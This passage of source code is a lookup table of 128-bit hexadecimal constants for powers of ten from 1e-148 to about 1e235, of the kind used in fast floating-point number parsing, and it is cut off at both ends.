0xA3AB66580D5FDAF5}, // 1e-148 -- {0x318DF905079926A8, 0xCC963FEE10B7D1B3}, // 1e-147 -- {0xFDF17746497F7052, 0xFFBBCFE994E5C61F}, // 1e-146 -- {0xFEB6EA8BEDEFA633, 0x9FD561F1FD0F9BD3}, // 1e-145 -- {0xFE64A52EE96B8FC0, 0xC7CABA6E7C5382C8}, // 1e-144 -- {0x3DFDCE7AA3C673B0, 0xF9BD690A1B68637B}, // 1e-143 -- {0x06BEA10CA65C084E, 0x9C1661A651213E2D}, // 1e-142 -- {0x486E494FCFF30A62, 0xC31BFA0FE5698DB8}, // 1e-141 -- {0x5A89DBA3C3EFCCFA, 0xF3E2F893DEC3F126}, // 1e-140 -- {0xF89629465A75E01C, 0x986DDB5C6B3A76B7}, // 1e-139 -- {0xF6BBB397F1135823, 0xBE89523386091465}, // 1e-138 -- {0x746AA07DED582E2C, 0xEE2BA6C0678B597F}, // 1e-137 -- {0xA8C2A44EB4571CDC, 0x94DB483840B717EF}, // 1e-136 -- {0x92F34D62616CE413, 0xBA121A4650E4DDEB}, // 1e-135 -- {0x77B020BAF9C81D17, 0xE896A0D7E51E1566}, // 1e-134 -- {0x0ACE1474DC1D122E, 0x915E2486EF32CD60}, // 1e-133 -- {0x0D819992132456BA, 0xB5B5ADA8AAFF80B8}, // 1e-132 -- {0x10E1FFF697ED6C69, 0xE3231912D5BF60E6}, // 1e-131 -- {0xCA8D3FFA1EF463C1, 0x8DF5EFABC5979C8F}, // 1e-130 -- {0xBD308FF8A6B17CB2, 0xB1736B96B6FD83B3}, // 1e-129 -- {0xAC7CB3F6D05DDBDE, 0xDDD0467C64BCE4A0}, // 1e-128 -- {0x6BCDF07A423AA96B, 0x8AA22C0DBEF60EE4}, // 1e-127 -- {0x86C16C98D2C953C6, 0xAD4AB7112EB3929D}, // 1e-126 -- {0xE871C7BF077BA8B7, 0xD89D64D57A607744}, // 1e-125 -- {0x11471CD764AD4972, 0x87625F056C7C4A8B}, // 1e-124 -- {0xD598E40D3DD89BCF, 0xA93AF6C6C79B5D2D}, // 1e-123 -- {0x4AFF1D108D4EC2C3, 0xD389B47879823479}, // 1e-122 -- {0xCEDF722A585139BA, 0x843610CB4BF160CB}, // 1e-121 -- {0xC2974EB4EE658828, 0xA54394FE1EEDB8FE}, // 1e-120 -- {0x733D226229FEEA32, 0xCE947A3DA6A9273E}, // 1e-119 -- {0x0806357D5A3F525F, 0x811CCC668829B887}, // 1e-118 -- {0xCA07C2DCB0CF26F7, 0xA163FF802A3426A8}, // 1e-117 -- {0xFC89B393DD02F0B5, 0xC9BCFF6034C13052}, // 1e-116 -- {0xBBAC2078D443ACE2, 0xFC2C3F3841F17C67}, // 1e-115 -- {0xD54B944B84AA4C0D, 0x9D9BA7832936EDC0}, // 1e-114 -- {0x0A9E795E65D4DF11, 0xC5029163F384A931}, // 1e-113 -- {0x4D4617B5FF4A16D5, 0xF64335BCF065D37D}, // 1e-112 -- {0x504BCED1BF8E4E45, 0x99EA0196163FA42E}, // 1e-111 -- {0xE45EC2862F71E1D6, 0xC06481FB9BCF8D39}, // 1e-110 -- {0x5D767327BB4E5A4C, 0xF07DA27A82C37088}, // 1e-109 -- {0x3A6A07F8D510F86F, 0x964E858C91BA2655}, // 1e-108 -- {0x890489F70A55368B, 0xBBE226EFB628AFEA}, // 1e-107 -- {0x2B45AC74CCEA842E, 0xEADAB0ABA3B2DBE5}, // 1e-106 -- {0x3B0B8BC90012929D, 0x92C8AE6B464FC96F}, // 1e-105 -- {0x09CE6EBB40173744, 0xB77ADA0617E3BBCB}, // 1e-104 -- {0xCC420A6A101D0515, 0xE55990879DDCAABD}, // 1e-103 -- {0x9FA946824A12232D, 0x8F57FA54C2A9EAB6}, // 1e-102 -- {0x47939822DC96ABF9, 0xB32DF8E9F3546564}, // 1e-101 -- {0x59787E2B93BC56F7, 0xDFF9772470297EBD}, // 1e-100 -- {0x57EB4EDB3C55B65A, 0x8BFBEA76C619EF36}, // 1e-99 -- {0xEDE622920B6B23F1, 0xAEFAE51477A06B03}, // 1e-98 -- {0xE95FAB368E45ECED, 0xDAB99E59958885C4}, // 1e-97 -- {0x11DBCB0218EBB414, 0x88B402F7FD75539B}, // 1e-96 -- {0xD652BDC29F26A119, 0xAAE103B5FCD2A881}, // 1e-95 -- {0x4BE76D3346F0495F, 0xD59944A37C0752A2}, // 1e-94 -- {0x6F70A4400C562DDB, 0x857FCAE62D8493A5}, // 1e-93 -- {0xCB4CCD500F6BB952, 0xA6DFBD9FB8E5B88E}, // 1e-92 -- {0x7E2000A41346A7A7, 0xD097AD07A71F26B2}, // 1e-91 -- {0x8ED400668C0C28C8, 0x825ECC24C873782F}, // 1e-90 -- {0x728900802F0F32FA, 0xA2F67F2DFA90563B}, // 1e-89 -- {0x4F2B40A03AD2FFB9, 0xCBB41EF979346BCA}, // 1e-88 -- {0xE2F610C84987BFA8, 0xFEA126B7D78186BC}, // 1e-87 -- {0x0DD9CA7D2DF4D7C9, 0x9F24B832E6B0F436}, // 1e-86 -- {0x91503D1C79720DBB, 0xC6EDE63FA05D3143}, // 1e-85 -- {0x75A44C6397CE912A, 0xF8A95FCF88747D94}, // 1e-84 -- {0xC986AFBE3EE11ABA, 0x9B69DBE1B548CE7C}, // 1e-83 -- {0xFBE85BADCE996168, 0xC24452DA229B021B}, // 1e-82 -- {0xFAE27299423FB9C3, 0xF2D56790AB41C2A2}, // 1e-81 -- {0xDCCD879FC967D41A, 0x97C560BA6B0919A5}, // 1e-80 -- {0x5400E987BBC1C920, 0xBDB6B8E905CB600F}, // 1e-79 -- {0x290123E9AAB23B68, 0xED246723473E3813}, // 1e-78 -- {0xF9A0B6720AAF6521, 0x9436C0760C86E30B}, // 1e-77 -- {0xF808E40E8D5B3E69, 0xB94470938FA89BCE}, // 1e-76 -- {0xB60B1D1230B20E04, 0xE7958CB87392C2C2}, // 1e-75 -- {0xB1C6F22B5E6F48C2, 0x90BD77F3483BB9B9}, // 1e-74 -- {0x1E38AEB6360B1AF3, 0xB4ECD5F01A4AA828}, // 1e-73 -- {0x25C6DA63C38DE1B0, 0xE2280B6C20DD5232}, // 1e-72 -- {0x579C487E5A38AD0E, 0x8D590723948A535F}, // 1e-71 -- {0x2D835A9DF0C6D851, 0xB0AF48EC79ACE837}, // 1e-70 -- {0xF8E431456CF88E65, 0xDCDB1B2798182244}, // 1e-69 -- {0x1B8E9ECB641B58FF, 0x8A08F0F8BF0F156B}, // 1e-68 -- {0xE272467E3D222F3F, 0xAC8B2D36EED2DAC5}, // 1e-67 -- {0x5B0ED81DCC6ABB0F, 0xD7ADF884AA879177}, // 1e-66 -- {0x98E947129FC2B4E9, 0x86CCBB52EA94BAEA}, // 1e-65 -- {0x3F2398D747B36224, 0xA87FEA27A539E9A5}, // 1e-64 -- {0x8EEC7F0D19A03AAD, 0xD29FE4B18E88640E}, // 1e-63 -- {0x1953CF68300424AC, 0x83A3EEEEF9153E89}, // 1e-62 -- {0x5FA8C3423C052DD7, 0xA48CEAAAB75A8E2B}, // 1e-61 -- {0x3792F412CB06794D, 0xCDB02555653131B6}, // 1e-60 -- {0xE2BBD88BBEE40BD0, 0x808E17555F3EBF11}, // 1e-59 -- {0x5B6ACEAEAE9D0EC4, 0xA0B19D2AB70E6ED6}, // 1e-58 -- {0xF245825A5A445275, 0xC8DE047564D20A8B}, // 1e-57 -- {0xEED6E2F0F0D56712, 0xFB158592BE068D2E}, // 1e-56 -- {0x55464DD69685606B, 0x9CED737BB6C4183D}, // 1e-55 -- {0xAA97E14C3C26B886, 0xC428D05AA4751E4C}, // 1e-54 -- {0xD53DD99F4B3066A8, 0xF53304714D9265DF}, // 1e-53 -- {0xE546A8038EFE4029, 0x993FE2C6D07B7FAB}, // 1e-52 -- {0xDE98520472BDD033, 0xBF8FDB78849A5F96}, // 1e-51 -- {0x963E66858F6D4440, 0xEF73D256A5C0F77C}, // 1e-50 -- {0xDDE7001379A44AA8, 0x95A8637627989AAD}, // 1e-49 -- {0x5560C018580D5D52, 0xBB127C53B17EC159}, // 1e-48 -- {0xAAB8F01E6E10B4A6, 0xE9D71B689DDE71AF}, // 1e-47 -- {0xCAB3961304CA70E8, 0x9226712162AB070D}, // 1e-46 -- {0x3D607B97C5FD0D22, 0xB6B00D69BB55C8D1}, // 1e-45 -- {0x8CB89A7DB77C506A, 0xE45C10C42A2B3B05}, // 1e-44 -- {0x77F3608E92ADB242, 0x8EB98A7A9A5B04E3}, // 1e-43 -- {0x55F038B237591ED3, 0xB267ED1940F1C61C}, // 1e-42 -- {0x6B6C46DEC52F6688, 0xDF01E85F912E37A3}, // 1e-41 -- {0x2323AC4B3B3DA015, 0x8B61313BBABCE2C6}, // 1e-40 -- {0xABEC975E0A0D081A, 0xAE397D8AA96C1B77}, // 1e-39 -- {0x96E7BD358C904A21, 0xD9C7DCED53C72255}, // 1e-38 -- {0x7E50D64177DA2E54, 0x881CEA14545C7575}, // 1e-37 -- {0xDDE50BD1D5D0B9E9, 0xAA242499697392D2}, // 1e-36 -- {0x955E4EC64B44E864, 0xD4AD2DBFC3D07787}, // 1e-35 -- {0xBD5AF13BEF0B113E, 0x84EC3C97DA624AB4}, // 1e-34 -- {0xECB1AD8AEACDD58E, 0xA6274BBDD0FADD61}, // 1e-33 -- {0x67DE18EDA5814AF2, 0xCFB11EAD453994BA}, // 1e-32 -- {0x80EACF948770CED7, 0x81CEB32C4B43FCF4}, // 1e-31 -- {0xA1258379A94D028D, 0xA2425FF75E14FC31}, // 1e-30 -- {0x096EE45813A04330, 0xCAD2F7F5359A3B3E}, // 1e-29 -- {0x8BCA9D6E188853FC, 0xFD87B5F28300CA0D}, // 1e-28 -- {0x775EA264CF55347D, 0x9E74D1B791E07E48}, // 1e-27 -- {0x95364AFE032A819D, 0xC612062576589DDA}, // 1e-26 -- {0x3A83DDBD83F52204, 0xF79687AED3EEC551}, // 1e-25 -- {0xC4926A9672793542, 0x9ABE14CD44753B52}, // 1e-24 -- {0x75B7053C0F178293, 0xC16D9A0095928A27}, // 1e-23 -- {0x5324C68B12DD6338, 0xF1C90080BAF72CB1}, // 1e-22 -- {0xD3F6FC16EBCA5E03, 0x971DA05074DA7BEE}, // 1e-21 -- {0x88F4BB1CA6BCF584, 0xBCE5086492111AEA}, // 1e-20 -- {0x2B31E9E3D06C32E5, 0xEC1E4A7DB69561A5}, // 1e-19 -- {0x3AFF322E62439FCF, 0x9392EE8E921D5D07}, // 1e-18 -- {0x09BEFEB9FAD487C2, 0xB877AA3236A4B449}, // 1e-17 -- {0x4C2EBE687989A9B3, 0xE69594BEC44DE15B}, // 1e-16 -- {0x0F9D37014BF60A10, 0x901D7CF73AB0ACD9}, // 1e-15 -- {0x538484C19EF38C94, 0xB424DC35095CD80F}, // 1e-14 -- {0x2865A5F206B06FB9, 0xE12E13424BB40E13}, // 1e-13 -- {0xF93F87B7442E45D3, 0x8CBCCC096F5088CB}, // 1e-12 -- {0xF78F69A51539D748, 0xAFEBFF0BCB24AAFE}, // 1e-11 -- {0xB573440E5A884D1B, 0xDBE6FECEBDEDD5BE}, // 1e-10 -- {0x31680A88F8953030, 0x89705F4136B4A597}, // 1e-9 -- {0xFDC20D2B36BA7C3D, 0xABCC77118461CEFC}, // 1e-8 -- {0x3D32907604691B4C, 0xD6BF94D5E57A42BC}, // 1e-7 -- {0xA63F9A49C2C1B10F, 0x8637BD05AF6C69B5}, // 1e-6 -- {0x0FCF80DC33721D53, 0xA7C5AC471B478423}, // 1e-5 -- {0xD3C36113404EA4A8, 0xD1B71758E219652B}, // 1e-4 -- {0x645A1CAC083126E9, 0x83126E978D4FDF3B}, // 1e-3 -- {0x3D70A3D70A3D70A3, 0xA3D70A3D70A3D70A}, // 1e-2 -- {0xCCCCCCCCCCCCCCCC, 0xCCCCCCCCCCCCCCCC}, // 1e-1 -- {0x0000000000000000, 0x8000000000000000}, // 1e0 -- {0x0000000000000000, 0xA000000000000000}, // 1e1 -- {0x0000000000000000, 0xC800000000000000}, // 1e2 -- {0x0000000000000000, 0xFA00000000000000}, // 1e3 -- {0x0000000000000000, 0x9C40000000000000}, // 1e4 -- {0x0000000000000000, 0xC350000000000000}, // 1e5 -- {0x0000000000000000, 0xF424000000000000}, // 1e6 -- {0x0000000000000000, 0x9896800000000000}, // 1e7 -- {0x0000000000000000, 0xBEBC200000000000}, // 1e8 -- {0x0000000000000000, 0xEE6B280000000000}, // 1e9 -- {0x0000000000000000, 0x9502F90000000000}, // 1e10 -- {0x0000000000000000, 0xBA43B74000000000}, // 1e11 -- {0x0000000000000000, 0xE8D4A51000000000}, // 1e12 -- {0x0000000000000000, 0x9184E72A00000000}, // 1e13 -- {0x0000000000000000, 0xB5E620F480000000}, // 1e14 -- {0x0000000000000000, 0xE35FA931A0000000}, // 1e15 -- {0x0000000000000000, 0x8E1BC9BF04000000}, // 1e16 -- {0x0000000000000000, 0xB1A2BC2EC5000000}, // 1e17 -- {0x0000000000000000, 0xDE0B6B3A76400000}, // 1e18 -- {0x0000000000000000, 0x8AC7230489E80000}, // 1e19 -- {0x0000000000000000, 0xAD78EBC5AC620000}, // 1e20 -- {0x0000000000000000, 0xD8D726B7177A8000}, // 1e21 -- {0x0000000000000000, 0x878678326EAC9000}, // 1e22 -- {0x0000000000000000, 0xA968163F0A57B400}, // 1e23 -- {0x0000000000000000, 0xD3C21BCECCEDA100}, // 1e24 -- {0x0000000000000000, 0x84595161401484A0}, // 1e25 -- {0x0000000000000000, 0xA56FA5B99019A5C8}, // 1e26 -- {0x0000000000000000, 0xCECB8F27F4200F3A}, // 1e27 -- {0x4000000000000000, 0x813F3978F8940984}, // 1e28 -- {0x5000000000000000, 0xA18F07D736B90BE5}, // 1e29 -- {0xA400000000000000, 0xC9F2C9CD04674EDE}, // 1e30 -- {0x4D00000000000000, 0xFC6F7C4045812296}, // 1e31 -- {0xF020000000000000, 0x9DC5ADA82B70B59D}, // 1e32 -- {0x6C28000000000000, 0xC5371912364CE305}, // 1e33 -- {0xC732000000000000, 0xF684DF56C3E01BC6}, // 1e34 -- {0x3C7F400000000000, 0x9A130B963A6C115C}, // 1e35 -- {0x4B9F100000000000, 0xC097CE7BC90715B3}, // 1e36 -- {0x1E86D40000000000, 0xF0BDC21ABB48DB20}, // 1e37 -- {0x1314448000000000, 0x96769950B50D88F4}, // 1e38 -- {0x17D955A000000000, 0xBC143FA4E250EB31}, // 1e39 -- {0x5DCFAB0800000000, 0xEB194F8E1AE525FD}, // 1e40 -- {0x5AA1CAE500000000, 0x92EFD1B8D0CF37BE}, // 1e41 -- {0xF14A3D9E40000000, 0xB7ABC627050305AD}, // 1e42 -- {0x6D9CCD05D0000000, 0xE596B7B0C643C719}, // 1e43 -- {0xE4820023A2000000, 0x8F7E32CE7BEA5C6F}, // 1e44 -- {0xDDA2802C8A800000, 0xB35DBF821AE4F38B}, // 1e45 -- {0xD50B2037AD200000, 0xE0352F62A19E306E}, // 1e46 -- {0x4526F422CC340000, 0x8C213D9DA502DE45}, // 1e47 -- {0x9670B12B7F410000, 0xAF298D050E4395D6}, // 1e48 -- {0x3C0CDD765F114000, 0xDAF3F04651D47B4C}, // 1e49 -- {0xA5880A69FB6AC800, 0x88D8762BF324CD0F}, // 1e50 -- {0x8EEA0D047A457A00, 0xAB0E93B6EFEE0053}, // 1e51 -- {0x72A4904598D6D880, 0xD5D238A4ABE98068}, // 1e52 -- {0x47A6DA2B7F864750, 0x85A36366EB71F041}, // 1e53 -- {0x999090B65F67D924, 0xA70C3C40A64E6C51}, // 1e54 -- {0xFFF4B4E3F741CF6D, 0xD0CF4B50CFE20765}, // 1e55 -- {0xBFF8F10E7A8921A4, 0x82818F1281ED449F}, // 1e56 -- {0xAFF72D52192B6A0D, 0xA321F2D7226895C7}, // 1e57 -- {0x9BF4F8A69F764490, 0xCBEA6F8CEB02BB39}, // 1e58 -- {0x02F236D04753D5B4, 0xFEE50B7025C36A08}, // 1e59 -- {0x01D762422C946590, 0x9F4F2726179A2245}, // 1e60 -- {0x424D3AD2B7B97EF5, 0xC722F0EF9D80AAD6}, // 1e61 -- {0xD2E0898765A7DEB2, 0xF8EBAD2B84E0D58B}, // 1e62 -- {0x63CC55F49F88EB2F, 0x9B934C3B330C8577}, // 1e63 -- {0x3CBF6B71C76B25FB, 0xC2781F49FFCFA6D5}, // 1e64 -- {0x8BEF464E3945EF7A, 0xF316271C7FC3908A}, // 1e65 -- {0x97758BF0E3CBB5AC, 0x97EDD871CFDA3A56}, // 1e66 -- {0x3D52EEED1CBEA317, 0xBDE94E8E43D0C8EC}, // 1e67 -- {0x4CA7AAA863EE4BDD, 0xED63A231D4C4FB27}, // 1e68 -- {0x8FE8CAA93E74EF6A, 0x945E455F24FB1CF8}, // 1e69 -- {0xB3E2FD538E122B44, 0xB975D6B6EE39E436}, // 1e70 -- {0x60DBBCA87196B616, 0xE7D34C64A9C85D44}, // 1e71 -- {0xBC8955E946FE31CD, 0x90E40FBEEA1D3A4A}, // 1e72 -- {0x6BABAB6398BDBE41, 0xB51D13AEA4A488DD}, // 1e73 -- {0xC696963C7EED2DD1, 0xE264589A4DCDAB14}, // 1e74 -- {0xFC1E1DE5CF543CA2, 0x8D7EB76070A08AEC}, // 1e75 -- {0x3B25A55F43294BCB, 0xB0DE65388CC8ADA8}, // 1e76 -- {0x49EF0EB713F39EBE, 0xDD15FE86AFFAD912}, // 1e77 -- {0x6E3569326C784337, 0x8A2DBF142DFCC7AB}, // 1e78 -- {0x49C2C37F07965404, 0xACB92ED9397BF996}, // 1e79 -- {0xDC33745EC97BE906, 0xD7E77A8F87DAF7FB}, // 1e80 -- {0x69A028BB3DED71A3, 0x86F0AC99B4E8DAFD}, // 1e81 -- {0xC40832EA0D68CE0C, 0xA8ACD7C0222311BC}, // 1e82 -- {0xF50A3FA490C30190, 0xD2D80DB02AABD62B}, // 1e83 -- {0x792667C6DA79E0FA, 0x83C7088E1AAB65DB}, // 1e84 -- {0x577001B891185938, 0xA4B8CAB1A1563F52}, // 1e85 -- {0xED4C0226B55E6F86, 0xCDE6FD5E09ABCF26}, // 1e86 -- {0x544F8158315B05B4, 0x80B05E5AC60B6178}, // 1e87 -- {0x696361AE3DB1C721, 0xA0DC75F1778E39D6}, // 1e88 -- {0x03BC3A19CD1E38E9, 0xC913936DD571C84C}, // 1e89 -- {0x04AB48A04065C723, 0xFB5878494ACE3A5F}, // 1e90 -- {0x62EB0D64283F9C76, 0x9D174B2DCEC0E47B}, // 1e91 -- {0x3BA5D0BD324F8394, 0xC45D1DF942711D9A}, // 1e92 -- {0xCA8F44EC7EE36479, 0xF5746577930D6500}, // 1e93 -- {0x7E998B13CF4E1ECB, 0x9968BF6ABBE85F20}, // 1e94 -- {0x9E3FEDD8C321A67E, 0xBFC2EF456AE276E8}, // 1e95 -- {0xC5CFE94EF3EA101E, 0xEFB3AB16C59B14A2}, // 1e96 -- {0xBBA1F1D158724A12, 0x95D04AEE3B80ECE5}, // 1e97 -- {0x2A8A6E45AE8EDC97, 0xBB445DA9CA61281F}, // 1e98 -- {0xF52D09D71A3293BD, 0xEA1575143CF97226}, // 1e99 -- {0x593C2626705F9C56, 0x924D692CA61BE758}, // 1e100 -- {0x6F8B2FB00C77836C, 0xB6E0C377CFA2E12E}, // 1e101 -- {0x0B6DFB9C0F956447, 0xE498F455C38B997A}, // 1e102 -- {0x4724BD4189BD5EAC, 0x8EDF98B59A373FEC}, // 1e103 -- {0x58EDEC91EC2CB657, 0xB2977EE300C50FE7}, // 1e104 -- {0x2F2967B66737E3ED, 0xDF3D5E9BC0F653E1}, // 1e105 -- {0xBD79E0D20082EE74, 0x8B865B215899F46C}, // 1e106 -- {0xECD8590680A3AA11, 0xAE67F1E9AEC07187}, // 1e107 -- {0xE80E6F4820CC9495, 0xDA01EE641A708DE9}, // 1e108 -- {0x3109058D147FDCDD, 0x884134FE908658B2}, // 1e109 -- {0xBD4B46F0599FD415, 0xAA51823E34A7EEDE}, // 1e110 -- {0x6C9E18AC7007C91A, 0xD4E5E2CDC1D1EA96}, // 1e111 -- {0x03E2CF6BC604DDB0, 0x850FADC09923329E}, // 1e112 -- {0x84DB8346B786151C, 0xA6539930BF6BFF45}, // 1e113 -- {0xE612641865679A63, 0xCFE87F7CEF46FF16}, // 1e114 -- {0x4FCB7E8F3F60C07E, 0x81F14FAE158C5F6E}, // 1e115 -- {0xE3BE5E330F38F09D, 0xA26DA3999AEF7749}, // 1e116 -- {0x5CADF5BFD3072CC5, 0xCB090C8001AB551C}, // 1e117 -- {0x73D9732FC7C8F7F6, 0xFDCB4FA002162A63}, // 1e118 -- {0x2867E7FDDCDD9AFA, 0x9E9F11C4014DDA7E}, // 1e119 -- {0xB281E1FD541501B8, 0xC646D63501A1511D}, // 1e120 -- {0x1F225A7CA91A4226, 0xF7D88BC24209A565}, // 1e121 -- {0x3375788DE9B06958, 0x9AE757596946075F}, // 1e122 -- {0x0052D6B1641C83AE, 0xC1A12D2FC3978937}, // 1e123 -- {0xC0678C5DBD23A49A, 0xF209787BB47D6B84}, // 1e124 -- {0xF840B7BA963646E0, 0x9745EB4D50CE6332}, // 1e125 -- {0xB650E5A93BC3D898, 0xBD176620A501FBFF}, // 1e126 -- {0xA3E51F138AB4CEBE, 0xEC5D3FA8CE427AFF}, // 1e127 -- {0xC66F336C36B10137, 0x93BA47C980E98CDF}, // 1e128 -- {0xB80B0047445D4184, 0xB8A8D9BBE123F017}, // 1e129 -- {0xA60DC059157491E5, 0xE6D3102AD96CEC1D}, // 1e130 -- {0x87C89837AD68DB2F, 0x9043EA1AC7E41392}, // 1e131 -- {0x29BABE4598C311FB, 0xB454E4A179DD1877}, // 1e132 -- {0xF4296DD6FEF3D67A, 0xE16A1DC9D8545E94}, // 1e133 -- {0x1899E4A65F58660C, 0x8CE2529E2734BB1D}, // 1e134 -- {0x5EC05DCFF72E7F8F, 0xB01AE745B101E9E4}, // 1e135 -- {0x76707543F4FA1F73, 0xDC21A1171D42645D}, // 1e136 -- {0x6A06494A791C53A8, 0x899504AE72497EBA}, // 1e137 -- {0x0487DB9D17636892, 0xABFA45DA0EDBDE69}, // 1e138 -- {0x45A9D2845D3C42B6, 0xD6F8D7509292D603}, // 1e139 -- {0x0B8A2392BA45A9B2, 0x865B86925B9BC5C2}, // 1e140 -- {0x8E6CAC7768D7141E, 0xA7F26836F282B732}, // 1e141 -- {0x3207D795430CD926, 0xD1EF0244AF2364FF}, // 1e142 -- {0x7F44E6BD49E807B8, 0x8335616AED761F1F}, // 1e143 -- {0x5F16206C9C6209A6, 0xA402B9C5A8D3A6E7}, // 1e144 -- {0x36DBA887C37A8C0F, 0xCD036837130890A1}, // 1e145 -- {0xC2494954DA2C9789, 0x802221226BE55A64}, // 1e146 -- {0xF2DB9BAA10B7BD6C, 0xA02AA96B06DEB0FD}, // 1e147 -- {0x6F92829494E5ACC7, 0xC83553C5C8965D3D}, // 1e148 -- {0xCB772339BA1F17F9, 0xFA42A8B73ABBF48C}, // 1e149 -- {0xFF2A760414536EFB, 0x9C69A97284B578D7}, // 1e150 -- {0xFEF5138519684ABA, 0xC38413CF25E2D70D}, // 1e151 -- {0x7EB258665FC25D69, 0xF46518C2EF5B8CD1}, // 1e152 -- {0xEF2F773FFBD97A61, 0x98BF2F79D5993802}, // 1e153 -- {0xAAFB550FFACFD8FA, 0xBEEEFB584AFF8603}, // 1e154 -- {0x95BA2A53F983CF38, 0xEEAABA2E5DBF6784}, // 1e155 -- {0xDD945A747BF26183, 0x952AB45CFA97A0B2}, // 1e156 -- {0x94F971119AEEF9E4, 0xBA756174393D88DF}, // 1e157 -- {0x7A37CD5601AAB85D, 0xE912B9D1478CEB17}, // 1e158 -- {0xAC62E055C10AB33A, 0x91ABB422CCB812EE}, // 1e159 -- {0x577B986B314D6009, 0xB616A12B7FE617AA}, // 1e160 -- {0xED5A7E85FDA0B80B, 0xE39C49765FDF9D94}, // 1e161 -- {0x14588F13BE847307, 0x8E41ADE9FBEBC27D}, // 1e162 -- {0x596EB2D8AE258FC8, 0xB1D219647AE6B31C}, // 1e163 -- {0x6FCA5F8ED9AEF3BB, 0xDE469FBD99A05FE3}, // 1e164 -- {0x25DE7BB9480D5854, 0x8AEC23D680043BEE}, // 1e165 -- {0xAF561AA79A10AE6A, 0xADA72CCC20054AE9}, // 1e166 -- {0x1B2BA1518094DA04, 0xD910F7FF28069DA4}, // 1e167 -- {0x90FB44D2F05D0842, 0x87AA9AFF79042286}, // 1e168 -- {0x353A1607AC744A53, 0xA99541BF57452B28}, // 1e169 -- {0x42889B8997915CE8, 0xD3FA922F2D1675F2}, // 1e170 -- {0x69956135FEBADA11, 0x847C9B5D7C2E09B7}, // 1e171 -- {0x43FAB9837E699095, 0xA59BC234DB398C25}, // 1e172 -- {0x94F967E45E03F4BB, 0xCF02B2C21207EF2E}, // 1e173 -- {0x1D1BE0EEBAC278F5, 0x8161AFB94B44F57D}, // 1e174 -- {0x6462D92A69731732, 0xA1BA1BA79E1632DC}, // 1e175 -- {0x7D7B8F7503CFDCFE, 0xCA28A291859BBF93}, // 1e176 -- {0x5CDA735244C3D43E, 0xFCB2CB35E702AF78}, // 1e177 -- {0x3A0888136AFA64A7, 0x9DEFBF01B061ADAB}, // 1e178 -- {0x088AAA1845B8FDD0, 0xC56BAEC21C7A1916}, // 1e179 -- {0x8AAD549E57273D45, 0xF6C69A72A3989F5B}, // 1e180 -- {0x36AC54E2F678864B, 0x9A3C2087A63F6399}, // 1e181 -- {0x84576A1BB416A7DD, 0xC0CB28A98FCF3C7F}, // 1e182 -- {0x656D44A2A11C51D5, 0xF0FDF2D3F3C30B9F}, // 1e183 -- {0x9F644AE5A4B1B325, 0x969EB7C47859E743}, // 1e184 -- {0x873D5D9F0DDE1FEE, 0xBC4665B596706114}, // 1e185 -- {0xA90CB506D155A7EA, 0xEB57FF22FC0C7959}, // 1e186 -- {0x09A7F12442D588F2, 0x9316FF75DD87CBD8}, // 1e187 -- {0x0C11ED6D538AEB2F, 0xB7DCBF5354E9BECE}, // 1e188 -- {0x8F1668C8A86DA5FA, 0xE5D3EF282A242E81}, // 1e189 -- {0xF96E017D694487BC, 0x8FA475791A569D10}, // 1e190 -- {0x37C981DCC395A9AC, 0xB38D92D760EC4455}, // 1e191 -- {0x85BBE253F47B1417, 0xE070F78D3927556A}, // 1e192 -- {0x93956D7478CCEC8E, 0x8C469AB843B89562}, // 1e193 -- {0x387AC8D1970027B2, 0xAF58416654A6BABB}, // 1e194 -- {0x06997B05FCC0319E, 0xDB2E51BFE9D0696A}, // 1e195 -- {0x441FECE3BDF81F03, 0x88FCF317F22241E2}, // 1e196 -- {0xD527E81CAD7626C3, 0xAB3C2FDDEEAAD25A}, // 1e197 -- {0x8A71E223D8D3B074, 0xD60B3BD56A5586F1}, // 1e198 -- {0xF6872D5667844E49, 0x85C7056562757456}, // 1e199 -- {0xB428F8AC016561DB, 0xA738C6BEBB12D16C}, // 1e200 -- {0xE13336D701BEBA52, 0xD106F86E69D785C7}, // 1e201 -- {0xECC0024661173473, 0x82A45B450226B39C}, // 1e202 -- {0x27F002D7F95D0190, 0xA34D721642B06084}, // 1e203 -- {0x31EC038DF7B441F4, 0xCC20CE9BD35C78A5}, // 1e204 -- {0x7E67047175A15271, 0xFF290242C83396CE}, // 1e205 -- {0x0F0062C6E984D386, 0x9F79A169BD203E41}, // 1e206 -- {0x52C07B78A3E60868, 0xC75809C42C684DD1}, // 1e207 -- {0xA7709A56CCDF8A82, 0xF92E0C3537826145}, // 1e208 -- {0x88A66076400BB691, 0x9BBCC7A142B17CCB}, // 1e209 -- {0x6ACFF893D00EA435, 0xC2ABF989935DDBFE}, // 1e210 -- {0x0583F6B8C4124D43, 0xF356F7EBF83552FE}, // 1e211 -- {0xC3727A337A8B704A, 0x98165AF37B2153DE}, // 1e212 -- {0x744F18C0592E4C5C, 0xBE1BF1B059E9A8D6}, // 1e213 -- {0x1162DEF06F79DF73, 0xEDA2EE1C7064130C}, // 1e214 -- {0x8ADDCB5645AC2BA8, 0x9485D4D1C63E8BE7}, // 1e215 -- {0x6D953E2BD7173692, 0xB9A74A0637CE2EE1}, // 1e216 -- {0xC8FA8DB6CCDD0437, 0xE8111C87C5C1BA99}, // 1e217 -- {0x1D9C9892400A22A2, 0x910AB1D4DB9914A0}, // 1e218 -- {0x2503BEB6D00CAB4B, 0xB54D5E4A127F59C8}, // 1e219 -- {0x2E44AE64840FD61D, 0xE2A0B5DC971F303A}, // 1e220 -- {0x5CEAECFED289E5D2, 0x8DA471A9DE737E24}, // 1e221 -- {0x7425A83E872C5F47, 0xB10D8E1456105DAD}, // 1e222 -- {0xD12F124E28F77719, 0xDD50F1996B947518}, // 1e223 -- {0x82BD6B70D99AAA6F, 0x8A5296FFE33CC92F}, // 1e224 -- {0x636CC64D1001550B, 0xACE73CBFDC0BFB7B}, // 1e225 -- {0x3C47F7E05401AA4E, 0xD8210BEFD30EFA5A}, // 1e226 -- {0x65ACFAEC34810A71, 0x8714A775E3E95C78}, // 1e227 -- {0x7F1839A741A14D0D, 0xA8D9D1535CE3B396}, // 1e228 -- {0x1EDE48111209A050, 0xD31045A8341CA07C}, // 1e229 -- {0x934AED0AAB460432, 0x83EA2B892091E44D}, // 1e230 -- {0xF81DA84D5617853F, 0xA4E4B66B68B65D60}, // 1e231 -- {0x36251260AB9D668E, 0xCE1DE40642E3F4B9}, // 1e232 -- {0xC1D72B7C6B426019, 0x80D2AE83E9CE78F3}, // 1e233 -- {0xB24CF65B8612F81F, 0xA1075A24E4421730}, // 1e234 -- {0xDEE033F26797B627, 0xC94930AE1D529CFC}, // 1e235 -- {0x169840EF017DA3B1, 